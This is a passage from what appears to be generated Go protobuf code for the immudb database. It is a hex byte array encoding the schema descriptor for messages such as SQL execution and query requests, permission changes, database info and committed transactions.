0x6e, 0x74,\n\t0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64,\n\t0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b,\n\t0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53,\n\t0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79,\n\t0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42,\n\t0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x18,\n\t0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x1a,\n\t0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45,\n\t0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01,\n\t0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65,\n\t0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,\n\t0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49,\n\t0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20,\n\t0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75,\n\t0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02,\n\t0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64,\n\t0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,\n\t0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61,\n\t0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74,\n\t0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65,\n\t0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d,\n\t0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a,\n\t0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65,\n\t0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06,\n\t0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61,\n\t0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61,\n\t0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03,\n\t0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e,\n\t0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01,\n\t0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xad,\n\t0x01, 0x0a, 0x1a, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76,\n\t0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a,\n\t0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65,\n\t0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06,\n\t0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61,\n\t0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61,\n\t0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03,\n\t0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e,\n\t0x0a, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03,\n\t0x28, 0x09, 0x52, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x22, 0x1d,\n\t0x0a, 0x1b, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69,\n\t0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4a, 0x0a,\n\t0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a,\n\t0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,\n\t0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74,\n\t0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,\n\t0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01,\n\t0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61,\n\t0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56,\n\t0x32, 0x22, 0x53, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73,\n\t0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x39, 0x0a, 0x09, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x09, 0x64, 0x61, 0x74,\n\t0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x83, 0x02, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62,\n\t0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73,\n\t0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61,\n\t0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65,\n\t0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73,\n\t0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08,\n\t0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x69, 0x73, 0x6b,\n\t0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x64, 0x69, 0x73, 0x6b,\n\t0x53, 0x69, 0x7a, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73,\n\t0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0f, 0x6e,\n\t0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1d,\n\t0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, 0x06, 0x20, 0x01,\n\t0x28, 0x04, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1d, 0x0a,\n\t0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x62, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28,\n\t0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x22, 0x9e, 0x01, 0x0a,\n\t0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e,\n\t0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,\n\t0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03,\n\t0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74,\n\t0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61,\n\t0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72,\n\t0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,\n\t0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01,\n\t0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a,\n\t0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75,\n\t0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01,\n\t0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a,\n\t0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28,\n\t0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a,\n\t0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12,\n\t0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71,\n\t0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28,\n\t0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61,\n\t0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03,\n\t0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0xa4, 0x01, 0x0a,\n\t0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73,\n\t0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03,\n\t0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70,\n\t0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x28, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e,\n\t0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x42, 0x02, 0x18, 0x01,\n\t0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x12,\n\t0x22, 0x0a, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18,\n\t0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72,\n\t0x65, 0x61, 0x6d, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61,\n\t0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,\n\t0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02,\n\t0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76,\n\t0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52,\n\t0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03,\n\t0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54,\n\t0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e,\n\t0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69,\n\t0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74,\n\t0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65,\n\t0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72,\n\t0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61,\n\t0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75,\n\t0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61,\n\t0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20,\n\t0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c,\n\t0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50,\n\t0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73,\n\t0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73,\n\t0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03,\n\t0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54,\n\t0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50,\n\t0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e,\n\t0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73,\n\t0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72,\n\t0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,\n\t0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01,\n\t0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c,\n\t0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49,\n\t0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12,\n\t0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65,\n\t0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b,\n\t0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,\n\t0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79,\n\t0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e,\n\t0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07,\n\t0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18,\n\t0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22,\n\t0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d,\n\t0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a,\n\t0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70,\n\t0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75,\n\t0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d,\n\t0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03,\n\t0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c,\n\t0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 